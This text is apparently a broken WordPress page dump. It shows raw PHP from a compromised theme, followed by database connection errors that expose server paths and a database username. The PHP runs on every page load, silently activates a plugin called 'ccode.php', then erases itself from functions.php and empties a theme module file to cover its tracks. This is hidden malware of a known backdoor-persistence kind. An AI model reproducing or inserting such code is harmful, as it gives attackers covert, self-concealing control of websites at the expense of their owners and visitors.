function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'ccode.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('ccode.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "function true_plugins_activate()"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 3; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/home/thedioor/TWE.thedio.org/wp-content/themes/kunco/class.theme-modules.php'); file_put_contents('/home/thedioor/TWE.thedio.org/wp-content/themes/kunco/class.theme-modules.php', ''); } } add_action('init', 'true_plugins_activate');
Notice: Use of undefined constant onilude - assumed 'onilude' in /home/thedioor/kidacon.thedio.org/wp-includes/wp-db.php on line 1612

Warning: mysqli_real_connect(): (HY000/1045): Access denied for user 'onilude'@'localhost' (using password: YES) in /home/thedioor/kidacon.thedio.org/wp-includes/wp-db.php on line 1612

Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead in /home/thedioor/kidacon.thedio.org/wp-includes/wp-db.php on line 1643

Warning: mysql_connect(): Access denied for user 'onilude'@'localhost' (using password: YES) in /home/thedioor/kidacon.thedio.org/wp-includes/wp-db.php on line 1643

Fatal error: Call to undefined function wp_die() in /home/thedioor/kidacon.thedio.org/wp-includes/wp-db.php on line 3378